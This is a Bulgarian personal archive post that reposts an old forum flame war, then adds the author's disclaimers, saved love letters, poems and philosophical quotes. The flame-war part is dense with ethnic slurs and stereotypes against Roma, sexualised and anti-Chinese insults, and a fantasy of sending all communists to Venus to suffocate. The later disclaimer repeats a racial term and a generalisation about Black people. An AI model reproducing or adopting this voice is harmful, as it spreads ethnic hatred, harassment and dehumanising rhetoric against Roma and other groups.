ТИ ДРУГО ОСВЕН ТОВА ДА ПОВТАРЯШ КАТО ПСИХИЧНО БОЛЕН, ЩЕ ИЗМИСЛИШ ЛИ БРЕ КИТАЙСКИ БОКЛУК ТАКЪВ. НЕ ЧУВСТВАШ ЛИ ЧЕ СТАВАШ И ТО МНОГО ЖАЛЪК, БЕ ТО АЗ НЕ ТВЪРДЯ ЧЕ СЪМ ИДЕАЛЕН, И АЗ ПРАВЯ ГРЕШКИ И ПОВТАРЯМ ПО НЯКОЛКО ПЪТИ ЕДНО И СЪЩО НЕЩО, НО ПОНЕ СИ ГО ПРИЗНАВАМ, А ТИ СЕ САМОЗАБРАВЯШ СЪС ЕДНО И СЪЩО НЕЩО. ВЗЕМИ И ПРОМЕНИ НАЧИНЪТ ТИ НА ГОВОРЕНЕ.
И що не ги бълваше по времето на социализма , а сега? Ами много просто, Манго, защото сега е КАПИТАЛИСТИЧЕСКА СИСТЕМА - боклук анархистичен някакъв.
Е МОГА ДА ТИ КАЖА, НЕНОРМАЛЕН СИ И ТОВА СИ Е. ИЗВИНИМЕ ЧЕ ТИ ГО КАЗВАМ, НО МИ ОМРЪЗНА НЕ МЕН, ПОСТОЯННО ДА ПОВТАРЯМ ТАЗИ ТВОЯ ТАКА ПОВТАРЯНО ИЗРЕЧЕНИЕ, НО КАКВО ДА СЕ ПРАВИ, ГОСПОД МИ Е ОТРЕДИЛ ДА СИ ТЕ НОСЯ КАТО КРЪСТ, И ЩЕ СИ ТЕ НОСЯ.
Постига се по време на ДЕМОКРАЦИЯТА ( а не до 1989, когато щяха да му дадат поне 10 дена в Белене или Ловеч)
ТИ ИНТЕРВАЛ НЯМАШ? ЧЕ ДА РАЗДАЛИЧАВАШ ДУМИТЕ. А КАКВО СИ ЗАВЪРШИЛ УМНИКО ГЛУПАВ, ТОВА ИЗОБЩО НЕ ИСКАМ И ДА ГО ЗНАМ. ПАК НЯКОЯ ИЗВРАТЕНЯЩИНА КОМУНИСТИЧЕСКИ КИТАИ. НАЛИ ТИ КАЗВАМ, ОФЕРТАТА, ЗА ГОСТУВАНЕ В КАТУНЪТ МИ Е ОЩЕ В СИЛА. НЕ СЕ ОТКАЗВАИ ОТ УДОВОЛСТВИЕТО, Е АЗ ВЯРВАМ ЧЕ ОТ ЕДИН ПЪТ НЯМА ДА СТАНА ОБРАТЕН.
А бре, Ромко-рядко, през тази година съм държал изпити по Диалектическа онтология и Епистемология, а ти си бачкал на някой дувар, за да откраднеш жица. И сега резултатът се вижда - говорим си един образован човек с един простичък мангал.
АМИ КЪДЕ ЛИ СА, АМИ ВЪВ ПОЛИЦИЯТА, В ТАЙНИТЕ СЛУЖБИ НА КИТАИ УГАНБУР, И ВЪВ РЕПРЕСИВНИТЕ ОРГАНИ ЗА ТЕРОР НА НАСЕЛЕНИЕТО, ЕТО ТАМ СА ОТВОРКО
И какво от това? Къде са тука скинарите, Ромчо? Хайде поограмоти се и после говори глупостите си!
АМИ ТО КАКТО ИЗЛИЗА, ЧЕ ТИ НИЩО ТОГАВА НЕ СИ КАЗАЛ, ПИНОЧЕТ НЕ САМО ЧЕ НЕ Е БИЛ СОЦИАЛЯГА, А БИЛ ДОСТА РЕВНИВ НАЦИОНАЛИСТ, ТАКА ЧЕ ТРЕПЕРЕТЕ ОТ НЕГО. И В СЪНЯТ ВИ ВЕ Е СТРАХ ОТ НЕГО, ТАКА ЧЕ ТРЕПЕРЕТЕ КОМУНЯГИ ОТ ЧОВЕКЪТ КОИТО ВИ ПОКАЗА КАКВО Е ДА БЪДЕШ ПРЕСЛЕДВАН, НЕ САМО ВИЕ ДА ПРЕСЛЕДВАТЕ ХОРА ЗАРАДИ УБЕЖДЕНИЯТА ИМ.
Къде съм казал, че е социалист?????????? Лелееее, циганин с халюцинации, не е шега работа!
АМИ МОГА ДА ГО ПОЗДРАВЯ ПИНОЧЕТ ЧЕ МУ Е ВИДЯЛ СМЕТКАТА НА ТОВА КОМУНИСТИЧЕСКО ЧУЧЕЛО.
Да ве, претрепа Салвадор Алиенде, знаем, и го дадох като пример за РЕД, но халюцинаториката ти не прощава, нали?
НЕ СЕ ИЗМЪКВАИ СЪС ШОПСКИЯТ ДИАЛЕКТ, А ГОВОРИ ПО ТЕМАТА, ЛЕСНОЕ, ДА СЕ ЗАНИМАВАШ С НА ХОРАТА ГРЕШКИТЕ. А СОБСТВЕНИТЕ СИ НЕГРАМОТИЗМИ ДА НЕ ПОГЛЕЖДАШ.
"ПаразитЕ"??? Хм, хем циганин, че и с шопски акцент. Извинявай да не си от "Факултето" или "Левски-Г"?
ПОГЛЕДНИСИ ПРАВОПИСА, НЕРАЗУМНИКО, ТА ТОГАВА СЕ ПРИСМИВАИ НА ДРУГИЯТ. "ОПРАВИЯТА" "РАВИ" А БРЕ КАКВО ДА ТИ КАЖА, НИСКО КАЧЕСТВЕННО КОМУНИСТИЧЕСКО ИЗДЕЛИЕ СИ. КАК СА МОГЛИ ДА ТЕ СЕРТИФИЦИРАТ ТВОИТЕ ИЗТЪРБУШЕНИ РОДИТЕЛИ.
Абе то някои за вас- ромите така викат, ама са по-рави да ти кажа. Щото при вас Оправията трудно се постига.
ЧАКАИ И АЗ ДА ТИ ГО ПРОСТОРЯ ЗА РИТРИКАТА, ЕГАТИ ГРЕШКИТЕ ГРАМАТИЧНИ. ДА ПРАВЯ, ЗАЩОТО ПИША БЪРЗО, И ДОСТА ИМА ЗА ПИСАНЕ ОСОБЕННО ТУК, ЗА ДА ГИ ДОПУСКАМ, НО ТИ НАПРАВО МЕ РАЗБИВАШ. ПОНЕ ДА ПИШЕШ ПРАВИЛНО, ЧЕ ДА ИМА КАКВО ДА СЕ ЗАЯДАШ, А ТО ДОСТА НЕГРАМОТНО, ПЪК НА МЕН ЗАБЕЛЕЖКИ ПРАВИШ. ОПРАВИСЕЕЕЕЕЕЕЕ БРЕ, НЕГРАМОТИЙО
Пак не си разбрал, но ще ти го посторя (Да, знам, че да си говоря с тебе е като със стената, ама то така се упражнява ритриката!):
СИСТЕМАТА ИМ ДАВА ВЪЗМОЖНОСТ ДА СА ТАКИВА, същите хора по социалистическо НЕ МОЖЕХА ДА СА ТАКИВА, понеже СИСТЕМАТА НЕ ПОЗВОЛЯВАШЕ. КАКВО Е СИСТЕМА? КАКВО Е ОБЩЕСТВЕН СТРОЙ?
А МИ АКО НЕ СИ ЗАБЕЛЯЗЪЛ, ТОЧНО В ТОЗИ РЕГИОН ЖИВЕЯ, СЕВЛИЕВО МАЙКА, СЕВЛИЕВО, ГАБРОВСКА ОБЛАСТ, И НА 50 КМ. ОТ В. ТЪРНОВО ТАКА ЧЕ ТУК ТАКА СЕ ГОВОРИ, А ТИ ВЗЕМИ СИ ОПРАВИ ЖИВОТЪТ СИ ОБЪРКАН ПЪРВО, ЧЕ ПОСЛЕ ОПРАВЯИ НА ДРУГИТЕ, ПРОФЕСОРЕ.
Да, а вие ромите се убихт да гласувате за тях!
"И МИ КАЗВАШ ЧЕ БИЛА СИСТЕМАТА СЕ ПРОМИНИЛА."
"промИнила"...........сега пък русенско-търновски диалект извади...абе вие ромите сте много "креативни" били ,бе
БЛЯ БЛЯ, ПАК НИЩО НЕ ТИ РАЗБРАХ НА ИЗВЪРТУЛЕНИТЕ ТИ ТИ ДРАСКАНКИ.
Качествено, обаче, което я прави различна и то в достатъчна степен, за да може ромите да си правите каквото искате и то безнаказано!
БЕ ТО МИ ИЗГЛЕЖДА ПРОБЛЕМЪТ ТИ Е МНОГО СЕРИОЗЕН, С ЦИГАНИТЕ, ВСЕ ТЯХ СПОМЕНАВАШ, ВСЕ ЗА ТЯХ ГОВОРИШ ДА НЕ БИ ЖЕНАТИ ДА Е КИТАЙСКА ЦИГАНКА.
Така ли? Няма разлика, а? Ама прди циганите като ви беше страх от милицията не посягахте, а сега като сте гладни посягате даже на 14-годишни момиченца, що бе?
ХМ? ТО НЕ ЗНАЕХ ДА ИМА ТАКЪВ ЕТНИЧЕСКИ ЕЛЕМЕНТ, ЦИГАНСКИ БЪЛГАРИН, БРЕ ТИ НЕ ОБИЖДАШ ЛИ ПО ТОЗИ НАГЪЛ НАЧИН БЪЛГАРЩИНАТА КАТО Я ПРИРАВНЯВАШ НА РАВНИЩЕТО, НА ЦИГАНИЯТА, ЕИ ЗНАЕШ ЛИ, ПОЗНАВАМ ЛИ ТЕ СЪС СИГУРНОСТ ЗЪБИ ЩЕ ПРАВИШ.
Кощунстовото е да се българееш, а да си ромчо! Вие ромите с късата памет ли ще знаете коога е било по-добре?
АЗ ПАМЕТ ИМАМ, НО АЗ ЗА ТЕБ МИ Е ПРЕТИСНЕНО. ЧЕ ТВОЯТ ХАРД ДИСК МНОГО ЗАПИЧА, И СЕ НУЖДАЕ, ПОСТОЯННО ОТ РЕСТАРТ.
Напаметта си, ако имаш такава.
ЕИ НЕ ТИ РАЗБИРАМ БРЕ, ИЗОБЩО ЗА КАКВО ГОВОРИШ, ЧЕ СЕ ОПИТВАШ ДА МИНЕШ ЗА ИНТЕЛЕГЕНТЕН.
Колко банални опити за оригинален изказ. Ако ти си дори малък образец за оригиналност на изказа, то Трендафил Акациев щеше да е Омир.
ЗНАЕШ ЛИ КОЛКО СИ ЖАЛЪК? КАТО СЕ ОПИТВАШ ДА МЕ ИЗКАРАШ НА ЦИГАНИН. ИЗГЛЕЖДА МНОГО ТИ ДОСТАВЯ УДОВОЛСТВИЕ ДА СЕ ДРАКАШ, НО МОГА ДА ТИ КАЖА, ТУК ПРИ МЕН "СКЪПИ" НЕ СИ ПОЗНАЛ, ЩЕ ТЕ ИЗВРЪНКАМ ОТ ВСЯКАДЕ, ТА ЩЕ СЕ ЧУДИ КИТАЙСКОТО ТИ АНАЛНО ОТВЕРСТИЕ ОТ КЪДЕ МУ Е ДОШЛО. НАЛИ СЪМ ПОХОТЛИВ ЦИГАНИН, ТРАИ ЗА ДА ТИ Е ХУБАВО.
Ромите така и не се научихте къде се пише двойно "Т". "ПропастТа", бе, момче! Я да те питам можеш ли да ми членуваш "НОЩ"?
ИМА ВРЕМЕ ДА НАУЧИШ МНОГО НЕЩА, ТОВА ЗА БУШ СИ БЕШЕ ЕДНА ГАВРА, НО ЧЕ СИ Е ЛЯВ БОКЛУК ЛЯВ СИ Е. ВСЕ ПАК ДА НЕ ЗАБРАВЯМЕ ЧЕ Е МАСОНШАН, И ИЛЮМИНАТШАН, ТАКА ЧЕ ЗА МЕН НЯМА РАЗЛИКА.
Републиканците са социалисти ли, Ромчо ??? НОВО 20!!! ХАХАХАХАХАХАХА Батка , ще ме умориш от хилене и ще те съдят за предумишлено убийство! Осъзнай се!
ПЪРВО ПО ДЕВЕТСТОТИН ПЪТИ ПОВТАРЯШ ЗА СИСТЕМИТЕ. ПО ПЕТСТОТИН ПЪТИ ПОВТАРЯШ ЗА ПРАВОПИСА, А ЗА ТЕБ ДА НЕ ГОВОРИМ. ТО СПОРЕД ТВОЯТА ЛОГИКА ТРЯБВА ДА ВЗЕМЕМ ДА ПРОМЕНИМ, ПРАВОПИСА, С НОВ ТАКА ЧЕ ЗАЕМАИСЕ, НЕГРАМОТНИКО.
1. "ОткровеНа" се пише, а не "откровеННа"...Неграмотен мангос!
2. Обещавам, че вече ще знам, че "И БУШ Е СОЦИАЛИСТ"
Боже, какъв си ми нещастник!
ДА ЯСЕН МИ СТАНА, ЗНАЧИ ОБИЧАШ НА КИМ ЧЕН ИР, ВОЕНЩИНИТЕ. НАПРАВО СИ ЗА ЧЕЛНАТА ДЕСЯТКА НА ЧАЛНАТИТЕ. ДА ЗНАЕШ, АКО ИМА СМС ГЛАСУВАНЕ, НАПРАВО ЩЕ РАЗСИПЯ, СЪРВЪРАТ НА ТОЗИ КОИТО ПРЕДЛАГА ИНТЕРНЕТ УСЛУГИТЕ, НА ТЕЛЕВИЗИЯТА КОЯТО ГО ОРГАНИЗИРА, В ТВОЯ ПОДКРЕПА, ЗА ДА СПЕЧЕЛИШ ПЪРВЕНСТВОТО ЗА НАЙ-ГЛУПАВО СЪЩЕСТВО.
Ами САЩ живеят така.
АНГЛИЯ ------така.
ФРАНЦИЯ-----така.
РУСИЯ--------така.
ИНДИЯ--------така.
КИТАЙ---------така.
Пакистан-------така.
И КАКВО?
ЗНАЕШ ЛИ, АКО ИМАХ ВЛАСТ В ТОЗИ СКАПАН СВЯТ, БИХ НА ВЕНЕРА ВИ ИЗСТРЕЛЯЛ СИТЕ КОМУНИСТИ, ТАМ ЗА ДА СЕ ИЗТРОВИТЕ ОТ СИЛНО ЗАМЪРСЕНАТА С РАДИАЦИЯ АТМОСФЕРА НА ТАЗИ ПЛАНЕТА. ПОНЕ ЩЕ Е ПО БЕЗОПАСНО, ЗАЩОТО ТУК СТЕ ПОСТИОЯННА ОПАСНОСТ ВСЕ ЗА НЯКОГО. ТИ ДА МИ ГОВОРИШ ЧЕ ДЪРЖАВА КАТО КОРЕЯ, КОЯТО СЕ Е ДОКАЗАЛА ТЕРОРИСТИЧНА ДЪРЖАВА, И ДА ГОВОРИШ ЧЕ ИМАЛИ ПРАВО НА ОРЪЖИЕ, ЗА МАСОВО ПОРАЗЯВАНЕ, Е ТОВА НАПРАВО СИ Е САТАНИЗЪМ 190% ИНАК ВИ СЪЧУСТВАМ НА ПСИХИЧНОТО ВИ ЗАБОЛЯВАНЕ, ЗА ТОВА Е МНОГО ПО ХУМАННО ДА ВИ ПРИЗЕМИМ, НА ВЕНЕРА, БЕЗ КИСЛОРОДНИ МАСКИ, И ДА СЕ ИЗТРОВОТЕ, ПОНЕ ПО МАЛКО ЩЕ СЕ МЪЧИТЕ, ОТ КОЛКОТО СЕГА. СЕГА НЕ САМО ВИЕ СИ СЕ МЪЧИТЕ, НО И НАС ИЗМЪЧВАТЕ ПО КРАЙ ВАС. ЗА ТОВА САМО ВЕНЕРА ВИ Е СПАСЕНИЕТО, КАТО РАЙ ЩЕ ВИ СЕ СТОРИ.
Е, ми ти като си луд и ненормален, да не си умрял? То от това рядко се умира!
ТЦ, НЕ Я ЗНАМ, НО ЗНАМ ЕДНА ДРУГА, КАЛИНКА МАЛИНКА МОЯ. А ТЯ ПО СКОРО ТРЯБВА ДА СЕ ПРЕРАБОТИ НА КОРЕЙКА КОПЕЙКА МОЯ, ТАКА ЩЕ ВИ ПО ПОДХОЖДА.
АаааааааааааааааааААААААААаааааааааааа, В АФРИКЕ...Помниш ли тази руска песничка на Красная шляпочка или в катуна по това време нямахте ТВ-сет?
ВЕСТНИКЪТ ТИ ЛЯВ, ОТ АНГЛИЯ, ВЗЕМИ И ГО НАЛЕПИ ПО РЪЦЕТЕ СИ И ОТЛЕТИ ДАЛЕЧ НА ЮГ И НЕ СЕ ВРЪЩАИ ТУК. ТУК Е ЗАПАЗЕНА ТЕРИТОРИЯ НА БЪЛГАРСКИ РОДОЛЮБЦИ, И НАЦИОНАЛИСТИ, А НЕ НА ПРОСТИТУТКИ КАТО ВАС, ВЪРГАЛЯЩИ СЕ ВЪВ БАРДАЦИТЕ НА КОМУНИЗМА, В КИТАИ.
Ами научни. Както видя - цитирам ти Е. БРИТАНИКА, применрно, позовавам се на ГАРДИЪН, давам ти задочно данни от ЦРУ, поназнайвам малко граматика, психопатология и етнолегия, та те определям като това, което показваш, че си ...
"НЕМАМ ДОКАЗ АЛА ТВЪРДИМ Е ТВОЯТА РАБОТА." БОКЛУКО КОМУНЯГСКИ, ТОВА ЗНАЧИ ЗА ТЕБ, А НЕ ЗА МЕН, И НЕ МИ ОБРЪЩАИ ДУМИТЕ СРЕЩУ МЕН, ЧЕ АМАН ТИ ЖИВОТА, НЕ ОБИЧАМ ДА МЕ ИЗОПАЧАВАТ.
Защото не можеш да разбереш какво се говори, но нищо, успокоява ме това, че не четеш само ти и ти виждат резила хората.
БРЕИИИИ ЧЕ ТОЗИ ДРЪПНАТ ГЛУПАК КАК ТАКА Е СПЕЧЕЛИЛ БИТКАТА, СИГУРНО ТВОИТЕ КИТАЙСКИ КОМУНЯГИ СА МУ ПОМАГА ЛИ.
Ти много си се объркал, бе, Ромски. Аз съм русофоб, даже. Защото Русия ние разбила много държави. А любимият ми момент е как Петър 1-ви яде бой от Китайския император на ЦИН и му взема 2 воеводства.
БЕЗ РОДНИКО, КОГАТО БУЛГАРИСТИТЕ, ТИ НАЛОЖАТ ОКОВИТЕ НА КОМУНЗМА В ТАТАРСТАН, И НАРИЧАТ КОРЕННОТО БЪЛГАРСКО НАСЕЛЕНИЕ ТАТАРИ, ТОГАВА ОБИЖДАИ БЪЛГАРСКОТО. ЗАЩОТО МАЙ ТИ КАЗАХ ЧЕ С ТАЗИ ТЕМА КОИТО СЕ Е ЗАХВАНАЛ ДОБРО НЕ Е ВИДЯЛ. ТИ КАТО СИ ТАТАРСКИ ИЗТЪРСАК, НА ЛЕНИН И СТАЛИН СИ Е ТВОИ ПРОБЛЕМА, А НЕ МИ ГОВОРИ ВРЕЛИ НА КИПЕЛИ. ТАКА ЧЕ МНОГО ВНИМАВАИ!!!!!! КАК СЕ ИЗКАЗВАШ, ЗА ВОЛЖКО-УРАЛСКИТЕ БЪЛГАРИ И МАКЕДОНСКИТЕ БЪЛГАРИ ЧЕ ТАМ МЪЛНИЙ БИЯТ, НЕ ЮМРУЦИ. ТАКА ЧЕ МЛЪКВАИ ЗА ТАЗИ ТЕМА, НЕНОРМАЛИТЕТ ЖАЛЪК.
Ти си отрепка, понеже си мислиш, че булгаристите са всички партии!
Жалък си. Може да ти се иска, но не е така. Иначе ние -татарите си се гордеем, че сме по-близко до прабългарите от славянизираните българи и ОСОБЕНО ОТ ЦИГАНИ КАТО ТЕБЕ!
АМИ ТО ЦАРСКАТА ИМПЕРСКА ПОЛИТИКА АКО НЕ ТИ Е ИЗВЕСТНО, СЕ ПРАДАВА КАТО ЩАФЕТА, И НА БОЛШЕВИШКАТА ПОЛИТИКА НА ГЕНОЦИД, И ОТРОДЯВАНЕ НА БЪЛГАРИТЕ ВЪВ ПОВОЛОЖИЕТО, И ПРИ УРАЛИЕТО, ШОВИНИСТИЧЕН РУСКИ БОКЛУК ТАКЪВ
Абе ОЩЕ ПО ЦАРСКО ВРЕМЕ Е ИМАЛО КАЗАНАКАЯ ГУБЕРНИЯ, А НЕ БУЛГАРСТАН, къде заби в СССР, бе?!!!!
А ПРИ НАЛИЧИЕТО, ЧЕ ТОЗИ ГРОЗНИК, Е БИЛ БЪЛГАРИН, НО САМО ЧЕ РУСИФИЦИРАН. ТО НАЙ-ГОЛЕМИТЕ ДУШМАНИ НА НАС БЪЛГАРИТЕ СА ПРОТОПЕНИЕТЕ И ИЗГУБЕНИ БЪЛГАРИ, ТАКА ЧЕ НИЩО ЧУДНО ЧЕ ГИ Е ПРЕСЛЕДВАЛ, ПОНЕЖЕ, ГРОЗНИКЪТ МУ С ГРОЗНИК, СИ Е МИСЛИЛ, ЧЕ КАТО Е СТАНАЛ НАТУРАЛИЗИРАН РУСНАК, ЧЕ ЩЕ МОЖЕ ДА ЗАБРАВИ КАЧЕСТВЕННО БЪЛГАРСКАТА СИ ПРИНАДЛЕЖНОСТ, КАТО СИ ИЗБИВА СОБСТВЕНИТЕ СИ СЪНАРОДНИЦИ, ЗА ДА НЯМА КОИ ДА МУ НАПОМНЯ ЗА КОРЕНЪТ МУ. ТАКА ЧЕ ПО НАСТРАНИ ОТ ТАЗИ ТЕНА, ПЛЕЩИ СИ КОМУНИСТИЧЕСКО СОЦИАЛНИТЕ СИ ГЛУПОТЕВНИ, ЗА ДА СЕ ЗАБАВЛЯВАМ НА ТВОЯ СМЕТКА, НО НЕ ВЗЕМАИ ОТНОШЕНИЕ ПО НЕЩА КЪДЕТО НАИСТИНА НЕ ГИ РАЗБИРАШ. ЯСЕН ЛИ СЪМ ГОСПОДИН ДАМСКА ПРЕВРЪЗКА.
Глупако, още Иван Грозни еб@ва мамата на булгарите, защо си толкова недочело Ромче???
И като не си бил в Татарстан и не знаеш КОЛКО МНОГО ПАРТИИ ИМАТ, а булгаристите са само нещо от рода на "Войни на Тангра", що си мислиш, че са вся и всьо?
БЛЪСКАИ БЛЪСКАИ ИЗМЕТ ТАКАВА, "РАБОТНИЧЕСКО-СЕЛСКА", ТО ВИЕ КОМУНИСТИЧЕСКИТЕ ВИРУСИ, САМО ЗА ТОВА ВИ БИВА ДА БЛЪСКАТЕ И ДА ОСИГУРЯВАТЕ НА НАС НОРМАЛНИТЕ ХОРА, НОРМАЛНИ СТАНДАРТИ НА ВАШ ГРЪБ.
Утре трябва да работя, така че по останалите ти ромски недомислия, когато имам време.
Хайде, няма да ти пожелавам здраве и късмт, понеже то РОМИТЕ сте си жилави и лесно нито се проваляте, нито се разболявате."
Подчертавам в добавка, че и отдавна съм се отърсил от всякакви фобии, включитено и от циганофобията (без да отричам, че има и лоши, престъпни хора от цигански произход, които трябва, както всички останали такива, без значение на народност, етнос, националност, да си биват наказвани законно.) Както и че Китай, Русия, КНДР (Северна Корея), Иран и пр. в днешно време наистна още повече се агресираха, неофеодализираха (някои от тях поначало), та не мога безпрекословно да ги защищавам.
-
По отношение на по-горното, аз вече обясних като цяло, че отдавна съм коригирал всякакви крайности в светогледа си. Добавям и един детайл - за негрите (негроидната раса): дори по онова време, когато съм имал по-необосновани научно възгледи, съм бил против не всички от тях, а криминогенните (особено американските повелияни от техните си агресивни субкултури, без да казвам, че всяка една субкултура от техните е задължително агресивна), имал съм досег с доста добри негри (дори, ако някой има против думата, която обикновено в българския език винаги е била с нерасистки смисъл и значение, може да нарека "чернокожи" или както е най-политкоректният термин към днешна дата), та нямам никакви анти-негърски идеи.
Като цяло е супер неправилно, заради части от дадена група, независимо дали е раса (негри), етнос (цигани) или социален сегмент (недоброволно целибатните), да си против цялата тази група.
-
Сходно, отделно изречение относно рефлектирането във връзка с времето.
От антропологията знаем, че дори днес някои племена НЯМАТ развито понятие за време. Ето затова, твърде смело е да се предполага, че в зората си хората са имали понятие и, че даже са рефлектирали върху времето.
-
Пак едно от атакисткия период (т. е. преди много години, когато бях симпатизант на "Атака")
Циганин, доколкото прескачам постовете ти - ако решиш да се покажеш поне малко мъж и да платиш 400 лева на партия "Атака", които изгуби в честен бас от мен - напиши ми го на ЛС или уведоми форума в отделна тема. Дотогава си под игнор!
Човекът така и не плати, макар и да загуби баса. Дори и да е бил етнически циганин, това няма значение. Както съм казвал многократно вече - отдавна съм се отърсил от всякакви предразсъдъци, фобии, включително безпричинна циганофобия. Не бива да се генерализира в стил "Всички от този етнос/народ/нация са лоши/добри."
-
Романтика
Ето и романтика от изминалите години.
От някое момиче, за съжаление не съм сигурен дали беше от едно с български произход или от едно с турски произход, че да засвидетелствам уважение към авторството. Е, ако някой ден си го прочете тук и си го познае, да се обади, ако пожелае, за да й добавя авторството. И с двете съм изгубил отдавна контакт, а и на едната вече не й помня името.
"Rytsete mi izstinaha, za6toto podarih vsi4kata si toplina togava. Otide si ot men malko po malko, tyjno, v dylgite zimni ve4eri. Mnogo tyjna zima be6e tazi, mnogo sylzi, mnogo bolka.
I proletta zapo4na s dale4ni prizratsi, koito otdavna si otidoha...I mislq, 4e 4ak sega, tazi esen, toplinata 6te se vyrne v prystite i syrtseto mi, za da q podqrqvam otnovo...tozi pyt bez sylzi, dano!"
И това е от мен:
Много се радвам, че ги приемаш искрено така, както и аз ги написах! Преди те харесвах, защото си много умна и начетена, с добро научно и логическо мислене; много отзивчив приятел и верен другар,... но сега видях, че наистина си не само привлекателна, но и ПРЕКРАСНА! (Искам да гарантирам, че пия само ананасова (безалкохолна) бира и няма как да пиша пиян :) , така че, ако нещо звучи странно, то е просто защото наистина съм развълнуван от честта да си пиша с някой толкова специален като теб!)
Не съм някой, за който външността е всичко, обаче нямаше как да не се повлияя от страхотното ти излъчване - прическата, симпатичното лице, поприсвитите от слънцето "татарски" :wink: очи, скромната, но пленителна усмивка, добре подбраното облекло и прекрасните ти длани... Знаеш ли какво? Великолепна си!!!!!!!!!! А аз бих искал да кажа, че съм твой верен слуга, в кавалерския, романтичен западно-европейски стил. :)
-
Едно хубаво стихче, но от кого? Пратено ли ми е било или просто съм го запазил отнякъде преди много години? По-скоро първото... Е, ако авторът/авторката се познае, да пише. Аз го добавям, защото не бива такива ценни неща да остават неизвестни и да изчезнат, ако ги няма никъде другаде онлайн. (Бинг не дава резултати, за Гугъл не знам, защото нямам достъп до него в Китай.)
Как можем да сме вечни
ако не вярваме в малките неща...
Любовта е мигновена целувка
по устните на вятъра-
няколко трепвания на пеперудата
са целия й живот,
но тя е вечна.
И все така ветровете
рисуват измислени картини
в скалите от натрошен звезден пясък
(звездите са вечни,
дори разпиляни по върховете забравени).
О, нека не бъдем идеалисти,
нека не бъдем Деца на цветята
или бунтари на някакво чуждо време.
Нека сме просто мъничко вечни
докато собствените ни криле от восък
топят се и дните ни стават прашинки
в любовен часовник от пясък.
В сребърни прозорци
раждат се дъждовните мечти
и заваляват от небето на вечните бури.
Не, не живеем в такъв свят...
Живеем в свят, в който
сме хартиени птици
полетели в детски ръце
сред кратките мигове щастие..
О, ние просто
сме мъничко
вечни.
(.. и влюбени..) .
-
Едно любимо и незабравимо - за фреквентизиращата поликонцептност ;D
"Малеееееее, Самолете - фреквентизиращата поликонцептност мултивъпросва?...;-)
Майтап, майтап - говориш за важни неща, ама те са важни не защото са сложни, а защото са трудни именно в простотата си....Вярвам, че и разговорите ни за тази невъзможна простота трябва да са на равнището й!Демек - да се опитваме да не я опошляваме прекалено, разговаряйки твърде натруфено, поне в случаите на конкретен проблем;-)
Наздраве!"
Всичко с мярка! Така си трябва! На място и точно казано. Много ми липсва този човек - незабравими постове имаше, много бе начетен.
"Смисълът на живота е да създаде условия, при които всичко, Което Е (и което, би могло да се нарече "Бог") може да се самопознае от опит. Казано по друг начин, животът е Бог, който преживява Себе си."
Предпоставяне на нещо абсолютно недоказано и противоречиво като понятие ("Бог") = религиозност.
Животът не е никакъв Бог (едно от, така или иначе, противоречивите и несъстоятелни определения за Бога е, че бил всемогъщ, всесилен, а и това, че е вечен... Е, животът със своята крехкост, слабост, краткост във времето, какъв Бог може да е?!) Има нещо дълбоко сбъркано в такива определения.
Самолетка, гледай сега ква стана, като не се отчита подлата хлъзгавост на думата "съпричастност"...
Отново от този, по-горе споменатия, автор. Много начетен и интелигентен човек. Мисля, че по онова време живееше във Франция. Язък, че не си спомням поне ника му. А "Самолетка"-та беше май нещо от рода на samolet5, samolet005, ех... не помня чак такива детайли. Дано, живот и здраве, някой ден да се засечем.
-
И още...
"... светът понастоящем се създава от имащите власт във вашия свят."
Доста условно, с големи уговорки, е това така. Примерно - някои неща в света са самосъздадени (вече) нямат нужда от създаване. Ако говорим за политическия, икономическия, социалния/обществен свят - тогава това е по-валидно, но "моят свят" или "нечий друг свят" е толкова малък, че понякога "имащите власт в него" не са кой знае колко чак толкова по-големи, че да могат да създават "света".
-
Тук нали е за беседи, спорове и мнения от отминалите години, та нещо полуофтопик - мое стихотворение, което е пиано на шльокавица (преди да го кирилизирам). Едно време не всеки можеше да си кирилизира компютъра и/или не си даваше много зор, та шльокавицата беше често преобладаваща.
Иначе, ако някой се зачуди, ама защо като го има на кирилица, поствам и шльокавишкия му вариант. Ами, ей-така, да не се губи; да има колкото се повече съдържание.
Вчера едно момиче от Норвегия рече, че тук бавно отговавяли, нямало много потребители. Ами няма. То, за да има, трябва да се излее още доста съдържание... Иначе, на мен лично, не ми е толкова важно - стига да има посетители (посещаемост), а дали ще има и юзъри (потребители), които да пишат - добре дошло, но не бих взел да се кося чак толкова. :) ;D :)
"Sega mal4a, no te obi4am
S myl4anie v lyubov gorq
Bez dumi4ki syrtse obi4a
A az ne moga da go spra.
Az iskam vinagi da imam
Krasiva, nejna i dobra
magi4eska, vyl6ebna duma,
s koqto az da te darq.
No nqmam...samo ti6inata
e moq spytnitsa v no6tta
i az myl4a, no v tymninata
ti kazvam hilqdi ne6ta."
-
И още, и още... както е казал един учител преди години.
"Наистина. Тази сила не е просто нещо, което имате, тя е нещо, което СТЕ. вие имате, вие сте силата да творите и ако знаехте това, целият ви живот би се променил."
Това не го знам в какъв контекст е било. Като изключим мистичното звучене, рационалното зърно е творчеството, което е наистина нещо забележително, полезно, животоспасяващо понякога. Е, може да бъде и обслужващо злото. Някои творят лоши неща.
"е грешният прочит на концепцията за християнска общност"
Ами... също не е ясно в какъв контекст е било, обаче е добре, че ни отбелязва, че има както верни прочити, така и неверни/грешни такива.
"1.Очеизвадно е, че в моите думи, цитирани от теб, употребяам едно по-частно значение на понятието "християнска съпричастност".Това значение е класическо и е терминологизувало думата "конгрегация" в смисъл на "религиозна община, паство", като решително намалява обема му!
2. Именно това ми дава основание да сравнявам частните съпричастия, едното в рамките на човешката група и другото - с Божието Слово!Е, мисля си, че и двете са важни за християнина/поради което и двете са в Христа/, ама едното е не просто важно - то е решаващо!"
Запазил съм го явно не поради религиозни съображения (аз по онова време бях будист, но после застанах на изцяло научни позиции и съм игностицик.), а заради доброто боравене с нещата, от/във философски аспект.
"Какво точно искам да кажа. Ако нещо поражда смисъл, то количеството не е важно, а стимулиращият му ефект по отношение на генезиса на значения, тоест семиозиса. Конгрегацията е смислотворен елемент в християнския начин на живот и частното съпричастие ще е решаващо само в контекста на конгрегацията, а не като абстрактна нейна противоположност. Не се подлъгвай в бинарно мислене."
